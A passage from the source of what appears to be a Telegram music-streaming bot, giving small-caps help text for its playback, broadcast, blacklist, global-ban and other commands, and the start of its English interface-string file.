ᴩᴀᴜsᴇ ᴛʜᴇ ᴄᴜʀʀᴇɴᴛ ᴩʟᴀʏɪɴɢ sᴛʀᴇᴀᴍ. /resume : ʀᴇsᴜᴍᴇ ᴛʜᴇ ᴩᴀᴜsᴇᴅ sᴛʀᴇᴀᴍ. /skip : sᴋɪᴩ ᴛʜᴇ ᴄᴜʀʀᴇɴᴛ ᴩʟᴀʏɪɴɢ sᴛʀᴇᴀᴍ ᴀɴᴅ sᴛᴀʀᴛ sᴛʀᴇᴀᴍɪɴɢ ᴛʜᴇ ɴᴇxᴛ ᴛʀᴀᴄᴋ ɪɴ ǫᴜᴇᴜᴇ. /end ᴏʀ /stop : ᴄʟᴇᴀʀs ᴛʜᴇ ǫᴜᴇᴜᴇ ᴀɴᴅ ᴇɴᴅ ᴛʜᴇ ᴄᴜʀʀᴇɴᴛ ᴩʟᴀʏɪɴɢ sᴛʀᴇᴀᴍ. /player : ɢᴇᴛ ᴀ ɪɴᴛᴇʀᴀᴄᴛɪᴠᴇ ᴩʟᴀʏᴇʀ ᴩᴀɴᴇʟ. /queue : sʜᴏᴡs ᴛʜᴇ ǫᴜᴇᴜᴇᴅ ᴛʀᴀᴄᴋs ʟɪsᴛ. /lyrics [sᴏɴɢ ɴᴀᴍᴇ] : sᴇᴀʀᴄʜ ʟʏʀɪᴄs ғᴏʀ ᴛʜᴇ ʀᴇǫᴜᴇsᴛᴇᴅ sᴏɴɢ ᴀɴᴅ sᴇɴᴅ ᴛʜᴇ ʀᴇsᴜʟᴛs. """ HELP_2 = """ ᴀᴜᴛʜ ᴜsᴇʀs : ᴀᴜᴛʜ ᴜsᴇʀs ᴄᴀɴ ᴜsᴇ ᴀᴅᴍɪɴ ʀɪɢʜᴛs ɪɴ ᴛʜᴇ ʙᴏᴛ ᴡɪᴛʜᴏᴜᴛ ᴀᴅᴍɪɴ ʀɪɢʜᴛs ɪɴ ᴛʜᴇ ᴄʜᴀᴛ. /auth [ᴜsᴇʀɴᴀᴍᴇ/ᴜsᴇʀ_ɪᴅ] : ᴀᴅᴅ ᴀ ᴜsᴇʀ ᴛᴏ ᴀᴜᴛʜ ʟɪsᴛ ᴏғ ᴛʜᴇ ʙᴏᴛ. /unauth [ᴜsᴇʀɴᴀᴍᴇ/ᴜsᴇʀ_ɪᴅ] : ʀᴇᴍᴏᴠᴇ ᴀ ᴀᴜᴛʜ ᴜsᴇʀs ғʀᴏᴍ ᴛʜᴇ ᴀᴜᴛʜ ᴜsᴇʀs ʟɪsᴛ. /authusers : sʜᴏᴡs ᴛʜᴇ ʟɪsᴛ ᴏғ ᴀᴜᴛʜ ᴜsᴇʀs ᴏғ ᴛʜᴇ ɢʀᴏᴜᴩ. """ HELP_3 = """ ʙʀᴏᴀᴅᴄᴀsᴛ ғᴇᴀᴛᴜʀᴇ [ᴏɴʟʏ ғᴏʀ sᴜᴅᴏᴇʀs] : /broadcast [ᴍᴇssᴀɢᴇ ᴏʀ ʀᴇᴩʟʏ ᴛᴏ ᴀ ᴍᴇssᴀɢᴇ] : ʙʀᴏᴀᴅᴄᴀsᴛ ᴀ ᴍᴇssᴀɢᴇ ᴛᴏ sᴇʀᴠᴇᴅ ᴄʜᴀᴛs ᴏғ ᴛʜᴇ ʙᴏᴛ. ʙʀᴏᴀᴅᴄᴀsᴛɪɴɢ ᴍᴏᴅᴇs : -pin : ᴩɪɴs ʏᴏᴜʀ ʙʀᴏᴀᴅᴄᴀsᴛᴇᴅ ᴍᴇssᴀɢᴇs ɪɴ sᴇʀᴠᴇᴅ ᴄʜᴀᴛs. -pinloud : ᴩɪɴs ʏᴏᴜʀ ʙʀᴏᴀᴅᴄᴀsᴛᴇᴅ ᴍᴇssᴀɢᴇ ɪɴ sᴇʀᴠᴇᴅ ᴄʜᴀᴛs ᴀɴᴅ sᴇɴᴅ ɴᴏᴛɪғɪᴄᴀᴛɪᴏɴ ᴛᴏ ᴛʜᴇ ᴍᴇᴍʙᴇʀs. -user : ʙʀᴏᴀᴅᴄᴀsᴛs ᴛʜᴇ ᴍᴇssᴀɢᴇ ᴛᴏ ᴛʜᴇ ᴜsᴇʀs ᴡʜᴏ ʜᴀᴠᴇ sᴛᴀʀᴛᴇᴅ ʏᴏᴜʀ ʙᴏᴛ. -assistant : ʙʀᴏᴀᴅᴄᴀsᴛ ʏᴏᴜʀ ᴍᴇssᴀɢᴇ ғʀᴏᴍ ᴛʜᴇ ᴀssɪᴛᴀɴᴛ ᴀᴄᴄᴏᴜɴᴛ ᴏғ ᴛʜᴇ ʙᴏᴛ. -nobot : ғᴏʀᴄᴇs ᴛʜᴇ ʙᴏᴛ ᴛᴏ ɴᴏᴛ ʙʀᴏᴀᴅᴄᴀsᴛ ᴛʜᴇ ᴍᴇssᴀɢᴇ.. ᴇxᴀᴍᴩʟᴇ: /broadcast -user -assistant -pin ᴛᴇsᴛɪɴɢ ʙʀᴏᴀᴅᴄᴀsᴛ """ HELP_4 = """ᴄʜᴀᴛ ʙʟᴀᴄᴋʟɪsᴛ ғᴇᴀᴛᴜʀᴇ : [ᴏɴʟʏ ғᴏʀ sᴜᴅᴏᴇʀs] ʀᴇsᴛʀɪᴄᴛ sʜɪᴛ ᴄʜᴀᴛs ᴛᴏ ᴜsᴇ ᴏᴜʀ ᴘʀᴇᴄɪᴏᴜs ʙᴏᴛ. /blacklistchat [ᴄʜᴀᴛ ɪᴅ] : ʙʟᴀᴄᴋʟɪsᴛ ᴀ ᴄʜᴀᴛ ғʀᴏᴍ ᴜsɪɴɢ ᴛʜᴇ ʙᴏᴛ. /whitelistchat [ᴄʜᴀᴛ ɪᴅ] : ᴡʜɪᴛᴇʟɪsᴛ ᴛʜᴇ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛ. /blacklistedchat : sʜᴏᴡs ᴛʜᴇ ʟɪsᴛ ᴏғ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛs. """ HELP_5 = """ ʙʟᴏᴄᴋ ᴜsᴇʀs: [ᴏɴʟʏ ғᴏʀ sᴜᴅᴏᴇʀs] sᴛᴀʀᴛs ɪɢɴᴏʀɪɴɢ ᴛʜᴇ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴜsᴇʀ, sᴏ ᴛʜᴀᴛ ʜᴇ ᴄᴀɴ'ᴛ ᴜsᴇ ʙᴏᴛ ᴄᴏᴍᴍᴀɴᴅs. /block [ᴜsᴇʀɴᴀᴍᴇ ᴏʀ ʀᴇᴩʟʏ ᴛᴏ ᴀ ᴜsᴇʀ] : ʙʟᴏᴄᴋ ᴛʜᴇ ᴜsᴇʀ ғʀᴏᴍ ᴏᴜʀ ʙᴏᴛ. /unblock [ᴜsᴇʀɴᴀᴍᴇ ᴏʀ ʀᴇᴩʟʏ ᴛᴏ ᴀ ᴜsᴇʀ] : ᴜɴʙʟᴏᴄᴋs ᴛʜᴇ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀ. /blockedusers : sʜᴏᴡs ᴛʜᴇ ʟɪsᴛ ᴏғ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs. """ HELP_6 = """ ᴄʜᴀɴɴᴇʟ ᴩʟᴀʏ ᴄᴏᴍᴍᴀɴᴅs: ʏᴏᴜ ᴄᴀɴ sᴛʀᴇᴀᴍ ᴀᴜᴅɪᴏ/ᴠɪᴅᴇᴏ ɪɴ ᴄʜᴀɴɴᴇʟ. /cplay : sᴛᴀʀᴛs sᴛʀᴇᴀᴍɪɴɢ ᴛʜᴇ ʀᴇǫᴜᴇsᴛᴇᴅ ᴀᴜᴅɪᴏ ᴛʀᴀᴄᴋ ᴏɴ ᴄʜᴀɴɴᴇʟ's ᴠɪᴅᴇᴏᴄʜᴀᴛ. /cvplay : sᴛᴀʀᴛs sᴛʀᴇᴀᴍɪɴɢ ᴛʜᴇ ʀᴇǫᴜᴇsᴛᴇᴅ ᴠɪᴅᴇᴏ ᴛʀᴀᴄᴋ ᴏɴ ᴄʜᴀɴɴᴇʟ's ᴠɪᴅᴇᴏᴄʜᴀᴛ. /cplayforce or /cvplayforce : sᴛᴏᴩs ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ ᴀɴᴅ sᴛᴀʀᴛs sᴛʀᴇᴀᴍɪɴɢ ᴛʜᴇ ʀᴇǫᴜᴇsᴛᴇᴅ ᴛʀᴀᴄᴋ. /channelplay [ᴄʜᴀᴛ ᴜsᴇʀɴᴀᴍᴇ ᴏʀ ɪᴅ] ᴏʀ [ᴅɪsᴀʙʟᴇ] : ᴄᴏɴɴᴇᴄᴛ ᴄʜᴀɴɴᴇʟ ᴛᴏ ᴀ ɢʀᴏᴜᴩ ᴀɴᴅ sᴛᴀʀᴛs sᴛʀᴇᴀᴍɪɴɢ ᴛʀᴀᴄᴋs ʙʏ ᴛʜᴇ ʜᴇʟᴩ ᴏғ ᴄᴏᴍᴍᴀɴᴅs sᴇɴᴛ ɪɴ ɢʀᴏᴜᴩ. """ HELP_7 = """ ɢʟᴏʙᴀʟ ʙᴀɴ ғᴇᴀᴛᴜʀᴇ [ᴏɴʟʏ ғᴏʀ sᴜᴅᴏᴇʀs] : /gban [ᴜsᴇʀɴᴀᴍᴇ ᴏʀ ʀᴇᴩʟʏ ᴛᴏ ᴀ ᴜsᴇʀ] : ɢʟᴏʙᴀʟʟʏ ʙᴀɴs ᴛʜᴇ ᴄʜᴜᴛɪʏᴀ ғʀᴏᴍ ᴀʟʟ ᴛʜᴇ sᴇʀᴠᴇᴅ ᴄʜᴀᴛs ᴀɴᴅ ʙʟᴀᴄᴋʟɪsᴛ ʜɪᴍ ғʀᴏᴍ ᴜsɪɴɢ ᴛʜᴇ ʙᴏᴛ. /ungban [ᴜsᴇʀɴᴀᴍᴇ ᴏʀ ʀᴇᴩʟʏ ᴛᴏ ᴀ ᴜsᴇʀ] : ɢʟᴏʙᴀʟʟʏ ᴜɴʙᴀɴs ᴛʜᴇ ɢʟᴏʙᴀʟʟʏ ʙᴀɴɴᴇᴅ ᴜsᴇʀ. /gbannedusers : sʜᴏᴡs ᴛʜᴇ ʟɪsᴛ ᴏғ ɢʟᴏʙᴀʟʟʏ ʙᴀɴɴᴇᴅ ᴜsᴇʀs. """ HELP_8 = """ ʟᴏᴏᴘ sᴛʀᴇᴀᴍ : sᴛᴀʀᴛs sᴛʀᴇᴀᴍɪɴɢ ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ ɪɴ ʟᴏᴏᴘ /loop [enable/disable] : ᴇɴᴀʙʟᴇs/ᴅɪsᴀʙʟᴇs ʟᴏᴏᴘ ғᴏʀ ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ /loop [1, 2, 3, ...] : ᴇɴᴀʙʟᴇs ᴛʜᴇ ʟᴏᴏᴘ ғᴏʀ ᴛʜᴇ ɢɪᴠᴇɴ ᴠᴀʟᴜᴇ. """ HELP_9 = """ ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ ᴍᴏᴅᴇ [ᴏɴʟʏ ғᴏʀ sᴜᴅᴏᴇʀs] : /logs : ɢᴇᴛ ʟᴏɢs ᴏғ ᴛʜᴇ ʙᴏᴛ. /logger [ᴇɴᴀʙʟᴇ/ᴅɪsᴀʙʟᴇ] : ʙᴏᴛ ᴡɪʟʟ sᴛᴀʀᴛ ʟᴏɢɢɪɴɢ ᴛʜᴇ ᴀᴄᴛɪᴠɪᴛɪᴇs ʜᴀᴩᴩᴇɴ ᴏɴ ʙᴏᴛ. /maintenance [ᴇɴᴀʙʟᴇ/ᴅɪsᴀʙʟᴇ] : ᴇɴᴀʙʟᴇ ᴏʀ ᴅɪsᴀʙʟᴇ ᴛʜᴇ ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ ᴍᴏᴅᴇ ᴏғ ʏᴏᴜʀ ʙᴏᴛ. """ HELP_10 = """ ᴘɪɴɢ & sᴛᴀᴛs : /start : sᴛᴀʀᴛs ᴛʜᴇ ᴍᴜsɪᴄ ʙᴏᴛ. /help : ɢᴇᴛ ʜᴇʟᴩ ᴍᴇɴᴜ ᴡɪᴛʜ ᴇxᴩʟᴀɴᴀᴛɪᴏɴ ᴏғ ᴄᴏᴍᴍᴀɴᴅs. /ping : sʜᴏᴡs ᴛʜᴇ ᴩɪɴɢ ᴀɴᴅ sʏsᴛᴇᴍ sᴛᴀᴛs ᴏғ ᴛʜᴇ ʙᴏᴛ. /stats : sʜᴏᴡs ᴛʜᴇ ᴏᴠᴇʀᴀʟʟ sᴛᴀᴛs ᴏғ ᴛʜᴇ ʙᴏᴛ. """ HELP_11 = """ ᴩʟᴀʏ ᴄᴏᴍᴍᴀɴᴅs : v : sᴛᴀɴᴅs ғᴏʀ ᴠɪᴅᴇᴏ ᴩʟᴀʏ. force : sᴛᴀɴᴅs ғᴏʀ ғᴏʀᴄᴇ ᴩʟᴀʏ. /play ᴏʀ /vplay : sᴛᴀʀᴛs sᴛʀᴇᴀᴍɪɴɢ ᴛʜᴇ ʀᴇǫᴜᴇsᴛᴇᴅ ᴛʀᴀᴄᴋ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ. /playforce ᴏʀ /vplayforce : sᴛᴏᴩs ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ ᴀɴᴅ sᴛᴀʀᴛs sᴛʀᴇᴀᴍɪɴɢ ᴛʜᴇ ʀᴇǫᴜᴇsᴛᴇᴅ ᴛʀᴀᴄᴋ. """ HELP_12 = """ sʜᴜғғʟᴇ ᴏ̨ᴜᴇᴜᴇ : /shuffle : sʜᴜғғʟᴇ's ᴛʜᴇ ᴏ̨ᴜᴇᴜᴇ. /queue : sʜᴏᴡs ᴛʜᴇ sʜᴜғғʟᴇᴅ ᴏ̨ᴜᴇᴜᴇ. """ HELP_13 = """ sᴇᴇᴋ sᴛʀᴇᴀᴍ : /seek [ᴅᴜʀᴀᴛɪᴏɴ ɪɴ sᴇᴄᴏɴᴅs] : sᴇᴇᴋ ᴛʜᴇ sᴛʀᴇᴀᴍ ᴛᴏ ᴛʜᴇ ɢɪᴠᴇɴ ᴅᴜʀᴀᴛɪᴏɴ. /seekback [ᴅᴜʀᴀᴛɪᴏɴ ɪɴ sᴇᴄᴏɴᴅs] : ʙᴀᴄᴋᴡᴀʀᴅ sᴇᴇᴋ ᴛʜᴇ sᴛʀᴇᴀᴍ ᴛᴏ ᴛʜᴇ ᴛʜᴇ ɢɪᴠᴇɴ ᴅᴜʀᴀᴛɪᴏɴ. """ HELP_14 = """ sᴏɴɢ ᴅᴏᴡɴʟᴏᴀᴅ /song [sᴏɴɢ ɴᴀᴍᴇ/ʏᴛ ᴜʀʟ] : ᴅᴏᴡɴʟᴏᴀᴅ ᴀɴʏ ᴛʀᴀᴄᴋ ғʀᴏᴍ ʏᴏᴜᴛᴜʙᴇ ɪɴ ᴍᴘ3 ᴏʀ ᴍᴘ4 ғᴏʀᴍᴀᴛs. """ HELP_15 = """ sᴘᴇᴇᴅ ᴄᴏᴍᴍᴀɴᴅs : ʏᴏᴜ ᴄᴀɴ ᴄᴏɴᴛʀᴏʟ ᴛʜᴇ ᴘʟᴀʏʙᴀᴄᴋ sᴘᴇᴇᴅ ᴏғ ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ. [ᴀᴅᴍɪɴs ᴏɴʟʏ] /speed or /playback : ғᴏʀ ᴀᴅᴊᴜsᴛɪɴɢ ᴛʜᴇ ᴀᴜᴅɪᴏ ᴘʟᴀʏʙᴀᴄᴋ sᴘᴇᴇᴅ ɪɴ ɢʀᴏᴜᴘ. /cspeed or /cplayback : ғᴏʀ ᴀᴅᴊᴜsᴛɪɴɢ ᴛʜᴇ ᴀᴜᴅɪᴏ ᴘʟᴀʏʙᴀᴄᴋ sᴘᴇᴇᴅ ɪɴ ᴄʜᴀɴɴᴇʟ. """ ================================================ FILE: strings/langs/en.yml ================================================ name : 🇺🇸 English # Reason Of Gban Or Ungban gban_reason : "ᴛʜᴇ ʙᴏᴛ ᴡɪʟʟ ɢʙᴀɴ ᴏɴʟʏ ᴡᴏʀᴋ ᴡʜᴇɴ ʏᴏᴜ ᴡɪʟʟ ɢɪᴠᴇ ᴜsᴇʀɴᴀᴍᴇ ᴀɴᴅ ʀᴇᴀsᴏɴ ᴛᴏᴏ!!" ungban_reason : "ᴀs ᴡᴇʟʟ ᴀs ʏᴏᴜ ɢʙᴀɴɴᴇᴅ!\nᴛʜᴇ ʙᴏᴛ ᴡɪʟʟ ᴜɴɢʙᴀɴ sᴏᴍᴇᴏɴᴇ ᴡɪᴛʜ ᴛʜᴇɪʀ ʀᴇᴀsᴏɴ ᴏғ ᴜɴɢʙᴀɴɴɪɴɢ!!" too_short : "ʜᴀʜᴀʜᴀ!!\nɪғ ʏᴏᴜ ᴛʜɪɴᴋ ᴛʜᴀᴛ ʙᴏᴛ ᴡɪʟʟ ɢʙᴀɴ ʙʏ ɢɪᴠɪɴɢ ʀᴇᴀsᴏɴ ғᴏʀ ᴍᴀᴋɪɴɢ ᴍᴇ ғᴏᴏʟ, ᴛʜᴇɴ ᴛʜɪɴᴋ ᴀʙᴏᴜᴛ ᴛʜᴇ ᴏᴡɴᴇʀ ᴏғ ʙᴏᴛ ɪs ɴᴏᴛ sᴛᴜᴘɪᴅ!!" general_1 : "» ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴜsᴇʀ's ᴍᴇssᴀɢᴇ ᴏʀ ɢɪᴠᴇ ᴜsᴇʀɴᴀᴍᴇ/ᴜsᴇʀ ɪᴅ." general_2 : "» sᴏᴍᴇᴛʜɪɴɢ ᴡᴇɴᴛ ᴡʀᴏɴɢ ᴡʜɪʟᴇ ᴘʀᴏᴄᴇssɪɴɢ ʏᴏᴜʀ ǫᴜᴇʀʏ.\n\nᴇxᴄᴇᴘᴛɪᴏɴ : {0}" general_3 : "ʏᴏᴜ'ʀᴇ ᴀɴ ᴀɴᴏɴʏᴍᴏᴜs ᴀᴅᴍɪɴ ɪɴ ᴛʜɪs ᴄʜᴀᴛ, ʀᴇᴠᴇʀᴛ ʙᴀᴄᴋ ᴛᴏ ᴜsᴇʀ ᴀᴄᴄᴏᴜɴᴛ ғᴏʀ ᴜsɪɴɢ ᴍᴇ." general_4 : "» ʏᴏᴜ ᴅᴏɴ'ᴛ ʜᴀᴠᴇ ᴘᴇʀᴍɪssɪᴏɴs ᴛᴏ ᴍᴀɴᴀɢᴇ ᴠɪᴅᴇᴏ ᴄʜᴀᴛs.\n\nʀᴇʟᴏᴀᴅ ᴀᴅᴍɪɴ ᴄᴀᴄʜᴇ ᴠɪᴀ /reload" general_5 : "» ʙᴏᴛ ɪsɴ'ᴛ sᴛʀᴇᴀᴍɪɴɢ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ." tg_1 : "{0} ᴅᴏᴡɴʟᴏᴀᴅᴇʀ\n\nғɪʟᴇ sɪᴢᴇ : {1}\nᴄᴏᴍᴘʟᴇᴛᴇᴅ : {2}\nᴘᴇʀᴄᴇɴᴛᴀɢᴇ : {3}%\n\nsᴘᴇᴇᴅ : {4}/s\nᴇᴛᴀ : {5}" tg_2 : "sᴜᴄᴄᴇssғᴜʟʟʏ ᴅᴏᴡɴʟᴏᴀᴅᴇᴅ, ᴘʀᴏᴄᴇssɪɴɢ ғɪʟᴇ...\n\nᴛɪᴍᴇ ᴇʟᴀᴘsᴇᴅ : {0}" tg_3 : "ғᴀɪʟᴇᴅ ᴛᴏ ᴅᴏᴡɴʟᴏᴀᴅ ᴍᴇᴅɪᴀ ғʀᴏᴍ ᴛᴇʟᴇɢʀᴀᴍ, ᴘʟᴇᴀsᴇ ᴛʀʏ ᴀɢᴀɪɴ..." tg_4 : "» ᴅᴏᴡɴʟᴏᴀᴅ ᴀʟʀᴇᴀᴅʏ ᴄᴏᴍᴘʟᴇᴛᴇᴅ." tg_5 : "» ᴅᴏᴡɴʟᴏᴀᴅ ᴀʟʀᴇᴀᴅʏ ᴄᴏᴍᴘʟᴇᴛᴇᴅ ᴏʀ ᴄᴀɴᴄᴇʟʟᴇᴅ." tg_6 : "» ᴅᴏᴡɴʟᴏᴀᴅ ᴄᴀɴᴄᴇʟʟᴇᴅ." tg_7 : "» ᴅᴏᴡɴʟᴏᴀᴅ ᴄᴀɴᴄᴇʟʟᴇᴅ ʙʏ : {0}" tg_8 : "ғᴀɪʟᴇᴅ ᴛᴏ sᴛᴏᴘ ᴛʜᴇ ᴅᴏᴡɴʟᴏᴀᴅ." tg_9 : "ғᴀɪʟᴇᴅ ᴛᴏ ɢᴇᴛ ᴛʜᴇ ᴏɴɢᴏɪɴɢ ᴅᴏᴡɴʟᴏᴀᴅ ᴛᴀsᴋ..." call_1 : "» ʙᴏᴛ ʀᴇǫᴜɪʀᴇs ɪɴᴠɪᴛᴇ ᴜsᴇʀs ᴠɪᴀ ʟɪɴᴋ ᴘᴇʀᴍɪssɪᴏɴ ᴛᴏ ɪɴᴠɪᴛᴇ ᴀssɪsᴛᴀɴᴛ ᴛᴏ ʏᴏᴜʀ ᴄʜᴀᴛ." call_2 : "{0} ᴀssɪsᴛᴀɴᴛ ɪs ʙᴀɴɴᴇᴅ ɪɴ ʏᴏᴜʀ ɢʀᴏᴜᴘ/ᴄʜᴀɴɴᴇʟ.\n\nɪᴅ : {1}\nɴᴀᴍᴇ : {2}\nᴜsᴇʀɴᴀᴍᴇ : @{3}\n\nᴘʟᴇᴀsᴇ ᴜɴʙᴀɴ ᴛʜᴇ ᴀssɪsᴛᴀɴᴛ ᴀɴᴅ ᴛʀʏ ᴀɢᴀɪɴ." call_3 : "ғᴀɪʟᴇᴅ ᴛᴏ ɪɴᴠɪᴛᴇ {0} ᴀssɪsᴛᴀɴᴛ ᴛᴏ ʏᴏᴜʀ ᴄʜᴀᴛ.\n\nʀᴇᴀsᴏɴ : {1}" call_4 : "ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ...\n\nɪɴᴠɪᴛɪɴɢ {0} ᴀssɪsᴛᴀɴᴛ ᴛᴏ ʏᴏᴜʀ ᴄʜᴀᴛ..." call_5 : "{0} ᴀssɪsᴛᴀɴᴛ ᴊᴏɪɴᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ.\n\nᴛʀʏɪɴɢ ᴛᴏ sᴛᴀʀᴛ sᴛʀᴇᴀᴍ..." call_6 : "» ғᴀɪʟᴇᴅ ᴛᴏ sᴡɪᴛᴄʜ sᴛʀᴇᴀᴍ, ᴘʟᴇᴀsᴇ ᴜsᴇ /skip ᴛᴏ ᴄʜᴀɴɢᴇ ᴛʜᴇ ᴛʀᴀᴄᴋ ᴀɢᴀɪɴ." call_7 : "» ᴅᴏᴡɴʟᴏᴀᴅɪɴɢ ɴᴇxᴛ ᴛʀᴀᴄᴋ ғʀᴏᴍ ǫᴜᴇᴜᴇ.\n\nᴘʟᴇᴀsᴇ ʜᴏʟᴅ ᴏɴ..." call_8 : "Nᴏ ᴀᴄᴛɪᴠᴇ ᴠɪᴅᴇᴏᴄʜᴀᴛ ғᴏᴜɴᴅ.\n\nPʟᴇᴀsᴇ sᴛᴀʀᴛ ᴠɪᴅᴇᴏᴄʜᴀᴛ ɪɴ ʏᴏᴜʀ ɢʀᴏᴜᴘ/ᴄʜᴀɴɴᴇʟ ᴀɴᴅ ᴛʀʏ ᴀɢᴀɪɴ." call_9 : "Assɪsᴛᴀɴᴛ ᴀʟʀᴇᴀᴅʏ ɪɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ.\n\nɪғ ᴀssɪsᴛᴀɴᴛ ɪs ɴᴏᴛ ɪɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ, ᴘʟᴇᴀsᴇ sᴇɴᴅ /reboot ᴀɴᴅ ᴘʟᴀʏ ᴀɢᴀɪɴ." call_10 : "Tᴇʟᴇɢʀᴀᴍ sᴇʀᴠᴇʀ ᴇʀʀᴏʀ\n\nᴛᴇʟᴇɢʀᴀᴍ ɪs ʜᴀᴠɪɴɢ sᴏᴍᴇ ɪɴᴛᴇʀɴᴀʟ ᴘʀᴏʙʟᴇᴍs, ᴘʟᴇᴀsᴇ ᴛʀʏ ᴘʟᴀʏɪɴɢ ᴀɢᴀɪɴ ᴏʀ ʀᴇsᴛᴀʀᴛ ᴛʜᴇ ᴠɪᴅᴇᴏᴄʜᴀᴛ ᴏғ ʏᴏᴜʀ ɢʀᴏᴜᴘ." auth_1 : "» ʏᴏᴜ ᴄᴀɴ ᴏɴʟʏ ʜᴀᴠᴇ 25 ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ɪɴ ʏᴏᴜʀ ɢʀᴏᴜᴘ." auth_2 : "» ᴀᴅᴅᴇᴅ {0} ᴛᴏ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ʟɪsᴛ." auth_3 : "{0} ɪs ᴀʟʀᴇᴀᴅʏ ɪɴ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ʟɪsᴛ." auth_4 : "» ʀᴇᴍᴏᴠᴇᴅ {0} ғʀᴏᴍ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ʟɪsᴛ." auth_5 : "{0} ɪs ɴᴏᴛ ɪɴ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ʟɪsᴛ." auth_6 : "» ғᴇᴛᴄʜɪɴɢ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ʟɪsᴛ..." auth_7 : "» ʟɪsᴛ ᴏғ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ɪɴ {0} :\n\n" auth_8 : "↬ ᴀᴅᴅᴇᴅ ʙʏ :" reload_1 : "» ʏᴏᴜ ᴄᴀɴ ᴏɴʟʏ ʀᴇғʀᴇsʜ ᴀᴅᴍɪɴ ᴄᴀᴄʜᴇ ᴏɴᴄᴇ ɪɴ 3 ᴍɪɴᴜᴛᴇs.\n\nᴘʟᴇᴀsᴇ ᴛʀʏ ᴀғᴛᴇʀ {0}." reload_2 : "» ᴀᴅᴍɪɴ ᴄᴀᴄʜᴇ ʀᴇғʀᴇsʜᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ." reload_3 : "» ғᴀɪʟᴇᴅ ᴛᴏ ʀᴇʟᴏᴀᴅ ᴀᴅᴍɪɴ ᴄᴀᴄʜᴇ, ᴍᴀᴋᴇ sᴜʀᴇ ᴛʜᴀᴛ ᴛʜᴇ ʙᴏᴛ ɪs ᴀᴅᴍɪɴ ɪɴ ʏᴏᴜʀ ᴄʜᴀᴛ." reload_4 : "» ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ...\n\nʀᴇʙᴏᴏᴛɪɴɢ {0} ғᴏʀ ʏᴏᴜʀ ᴄʜᴀᴛ." reload_5 : "sᴜᴄᴄᴇssғᴜʟʟʏ ʀᴇʙᴏᴏᴛᴇᴅ {0} ғᴏʀ ʏᴏᴜʀ ᴄʜᴀᴛ.\n\nsᴛᴀʀᴛ ᴘʟᴀʏɪɴɢ ᴀɢᴀɪɴ..." admin_1 : "» ᴅɪᴅ ʏᴏᴜ ʀᴇᴍᴇᴍʙᴇʀ ᴛʜᴀᴛ ʏᴏᴜ'ᴠᴇ ʀᴇsᴜᴍᴇᴅ ᴛʜᴇ sᴛʀᴇᴀᴍ ?" admin_2 : "➻ sᴛʀᴇᴀᴍ ᴘᴀᴜsᴇᴅ 🎄\n│ \n└ʙʏ : {0} 🥀" admin_3 : "» ᴅɪᴅ ʏᴏᴜ ʀᴇᴍᴇᴍʙᴇʀ ᴛʜᴀᴛ ʏᴏᴜ'ᴠᴇ ᴘᴀᴜsᴇᴅ ᴛʜᴇ sᴛʀᴇᴀᴍ ?" admin_4 : "➻ sᴛʀᴇᴀᴍ ʀᴇsᴜᴍᴇᴅ 🎄\n│ \n└ʙʏ : {0} 🥀" admin_5 : "➻ sᴛʀᴇᴀᴍ ᴇɴᴅᴇᴅ/sᴛᴏᴩᴩᴇᴅ 🎄\n│ \n└ʙʏ : {0} 🥀" admin_6 : "➻ sᴛʀᴇᴀᴍ sᴋɪᴩᴩᴇᴅ 🎄\n│ \n└ʙʏ : {0} 🥀\n\n» ɴᴏ ᴍᴏʀᴇ ǫᴜᴇᴜᴇᴅ ᴛʀᴀᴄᴋs ɪɴ {1}, ʟᴇᴀᴠɪɴɢ ᴠɪᴅᴇᴏᴄʜᴀᴛ." admin_7 : "ᴇʀʀᴏʀ ᴡʜɪʟᴇ ᴄʜᴀɴɢɪɴɢ sᴛʀᴇᴀᴍ ᴛᴏ {0}." admin_8 : "» ᴘʟᴇᴀsᴇ ᴅɪsᴀʙʟᴇ ʟᴏᴏᴘ ᴘʟᴀʏ ᴠɪᴀ /loop disable ᴀɴᴅ ᴛʜᴇɴ ᴛʀʏ ᴛᴏ sᴋɪᴘ ᴀɢᴀɪɴ." admin_9 : "ᴘʟᴇᴀsᴇ ᴜsᴇ sᴘᴇᴄɪғɪᴄ ɴᴜᴍʙᴇʀs ғᴏʀ sᴋɪᴘ, ʟɪᴋᴇ 1, 2, 4..." admin_10 : "ᴀᴛʟᴇᴀsᴛ 2 ᴛʀᴀᴄᴋs ɴᴇᴇᴅᴇᴅ ɪɴ ǫᴜᴇᴜᴇ ғᴏʀ sᴘᴇᴄɪғɪᴄ sᴋɪᴘ.\n\nᴄʜᴇᴄᴋ ᴛʜᴇ ǫᴜᴇᴜᴇ ʙʏ : /queue" admin_11 : "» ɴᴏᴛ ᴇɴᴏᴜɢʜ 